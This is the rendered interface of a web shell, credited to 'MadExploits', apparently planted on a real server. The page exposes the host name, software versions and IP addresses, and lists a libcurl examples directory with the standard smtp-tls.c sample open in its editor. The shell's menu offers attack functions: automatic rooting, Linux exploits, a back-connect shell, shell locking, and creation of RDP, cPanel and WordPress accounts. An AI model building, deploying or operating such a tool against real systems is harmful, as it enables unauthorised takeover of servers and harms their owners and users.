Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libcurl-devel-7.29.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
10-at-a-time.c
5.11
KB
-rw-r--r--
ABI
2.67
KB
-rw-r--r--
CONTRIBUTE
11.79
KB
-rw-r--r--
INTERNALS
20.75
KB
-rw-r--r--
Makefile.example
1.86
KB
-rw-r--r--
anyauthput.c
4.99
KB
-rw-r--r--
cacertinmem.c
6.61
KB
-rw-r--r--
certinfo.c
2.31
KB
-rw-r--r--
chkspeed.c
5.63
KB
-rw-r--r--
cookie_interface.c
3.63
KB
-rw-r--r--
curlgtk.c
2.89
KB
-rw-r--r--
curlx.c
15.68
KB
-rw-r--r--
debug.c
4.02
KB
-rw-r--r--
evhiperfifo.c
11.89
KB
-rw-r--r--
externalsocket.c
4.4
KB
-rw-r--r--
fileupload.c
2.6
KB
-rw-r--r--
fopen.c
13.07
KB
-rw-r--r--
ftp-wildcard.c
4.12
KB
-rw-r--r--
ftpget.c
2.81
KB
-rw-r--r--
ftpgetinfo.c
2.92
KB
-rw-r--r--
ftpgetresp.c
2.51
KB
-rw-r--r--
ftpsget.c
3.09
KB
-rw-r--r--
ftpupload.c
4.54
KB
-rw-r--r--
ftpuploadresume.c
4.75
KB
-rw-r--r--
getinfo.c
1.85
KB
-rw-r--r--
getinmemory.c
3.29
KB
-rw-r--r--
ghiper.c
11.73
KB
-rw-r--r--
hiperfifo.c
11.21
KB
-rw-r--r--
href_extractor.c
2.64
KB
-rw-r--r--
htmltidy.c
3.99
KB
-rw-r--r--
http-post.c
1.92
KB
-rw-r--r--
httpcustomheader.c
2.02
KB
-rw-r--r--
httpput.c
3.65
KB
-rw-r--r--
https.c
2.49
KB
-rw-r--r--
imap.c
1.47
KB
-rw-r--r--
multi-app.c
4.49
KB
-rw-r--r--
multi-debugcallback.c
5.37
KB
-rw-r--r--
multi-double.c
3.34
KB
-rw-r--r--
multi-post.c
4.51
KB
-rw-r--r--
multi-single.c
3.3
KB
-rw-r--r--
multithread.c
2.58
KB
-rw-r--r--
opensslthreadlock.c
2.72
KB
-rw-r--r--
persistant.c
2.08
KB
-rw-r--r--
pop3s.c
2.6
KB
-rw-r--r--
pop3slist.c
2.59
KB
-rw-r--r--
post-callback.c
4.67
KB
-rw-r--r--
postit2.c
3.47
KB
-rw-r--r--
progressfunc.c
2.66
KB
-rw-r--r--
resolve.c
1.77
KB
-rw-r--r--
rtsp.c
8.3
KB
-rw-r--r--
sampleconv.c
3.29
KB
-rw-r--r--
sendrecv.c
3.57
KB
-rw-r--r--
sepheaders.c
2.49
KB
-rw-r--r--
sftpget.c
3.2
KB
-rw-r--r--
simple.c
1.63
KB
-rw-r--r--
simplepost.c
1.78
KB
-rw-r--r--
simplesmtp.c
3.48
KB
-rw-r--r--
simplessl.c
4.46
KB
-rw-r--r--
smooth-gtk-thread.c
6.08
KB
-rw-r--r--
smtp-multi.c
5.74
KB
-rw-r--r--
smtp-tls.c
5.73
KB
-rw-r--r--
synctime.c
12.59
KB
-rw-r--r--
threaded-ssl.c
4.19
KB
-rw-r--r--
url2file.c
2.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : smtp-tls.c
/*************************************************************************** * _ _ ____ _ * Project ___| | | | _ \| | * / __| | | | |_) | | * | (__| |_| | _ <| |___ * \___|\___/|_| \_\_____| * * Copyright (C) 1998 - 2011, Daniel Stenberg, <daniel@haxx.se>, et al. * * This software is licensed as described in the file COPYING, which * you should have received as part of this distribution. The terms * are also available at http://curl.haxx.se/docs/copyright.html. * * You may opt to use, copy, modify, merge, publish, distribute and/or sell * copies of the Software, and permit persons to whom the Software is * furnished to do so, under the terms of the COPYING file. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * ***************************************************************************/ #include <stdio.h> #include <string.h> #include <curl/curl.h> /* This is a simple example showing how to send mail using libcurl's SMTP * capabilities. It builds on the simplesmtp.c example, adding some * authentication and transport security. */ #define FROM "<sender@example.org>" #define TO "<addressee@example.net>" #define CC "<info@example.org>" static const char *payload_text[]={ "Date: Mon, 29 Nov 2010 21:54:29 +1100\n", "To: " TO "\n", "From: " FROM "(Example User)\n", "Cc: " CC "(Another example User)\n", "Message-ID: <dcd7cb36-11db-487a-9f3a-e652a9458efd@rfcpedant.example.org>\n", "Subject: SMTP TLS example message\n", "\n", /* empty line to divide headers from body, see RFC5322 */ "The body of the message starts here.\n", "\n", "It could be a lot of lines, could be MIME encoded, whatever.\n", "Check RFC5322.\n", NULL }; struct upload_status { int lines_read; }; static size_t payload_source(void *ptr, size_t size, size_t nmemb, void *userp) { struct upload_status *upload_ctx = (struct upload_status *)userp; const char *data; if ((size == 0) || (nmemb == 0) || ((size*nmemb) < 1)) { return 0; } data = payload_text[upload_ctx->lines_read]; if (data) { size_t len = strlen(data); memcpy(ptr, data, len); upload_ctx->lines_read ++; return len; } return 0; } int main(void) { CURL *curl; CURLcode res; struct curl_slist *recipients = NULL; struct upload_status upload_ctx; upload_ctx.lines_read = 0; curl = curl_easy_init(); if (curl) { /* This is the URL for your mailserver. Note the use of port 587 here, * instead of the normal SMTP port (25). Port 587 is commonly used for * secure mail submission (see RFC4403), but you should use whatever * matches your server configuration. */ curl_easy_setopt(curl, CURLOPT_URL, "smtp://mainserver.example.net:587"); /* In this example, we'll start with a plain text connection, and upgrade * to Transport Layer Security (TLS) using the STARTTLS command. Be careful * of using CURLUSESSL_TRY here, because if TLS upgrade fails, the transfer * will continue anyway - see the security discussion in the libcurl * tutorial for more details. */ curl_easy_setopt(curl, CURLOPT_USE_SSL, (long)CURLUSESSL_ALL); /* If your server doesn't have a valid certificate, then you can disable * part of the Transport Layer Security protection by setting the * CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST options to 0 (false). * curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); * curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); * That is, in general, a bad idea. It is still better than sending your * authentication details in plain text though. * Instead, you should get the issuer certificate (or the host certificate * if the certificate is self-signed) and add it to the set of certificates * that are known to libcurl using CURLOPT_CAINFO and/or CURLOPT_CAPATH. See * docs/SSLCERTS for more information. */ curl_easy_setopt(curl, CURLOPT_CAINFO, "/path/to/certificate.pem"); /* A common reason for requiring transport security is to protect * authentication details (user names and passwords) from being "snooped" * on the network. Here is how the user name and password are provided: */ curl_easy_setopt(curl, CURLOPT_USERNAME, "user@example.net"); curl_easy_setopt(curl, CURLOPT_PASSWORD, "P@ssw0rd"); /* value for envelope reverse-path */ curl_easy_setopt(curl, CURLOPT_MAIL_FROM, FROM); /* Add two recipients, in this particular case they correspond to the * To: and Cc: addressees in the header, but they could be any kind of * recipient. */ recipients = curl_slist_append(recipients, TO); recipients = curl_slist_append(recipients, CC); curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients); /* In this case, we're using a callback function to specify the data. You * could just use the CURLOPT_READDATA option to specify a FILE pointer to * read from. */ curl_easy_setopt(curl, CURLOPT_READFUNCTION, payload_source); curl_easy_setopt(curl, CURLOPT_READDATA, &upload_ctx); /* Since the traffic will be encrypted, it is very useful to turn on debug * information within libcurl to see what is happening during the transfer. */ curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); /* send the message (including headers) */ res = curl_easy_perform(curl); /* Check for errors */ if(res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); /* free the list of recipients and clean up */ curl_slist_free_all(recipients); curl_easy_cleanup(curl); } return 0; }
Close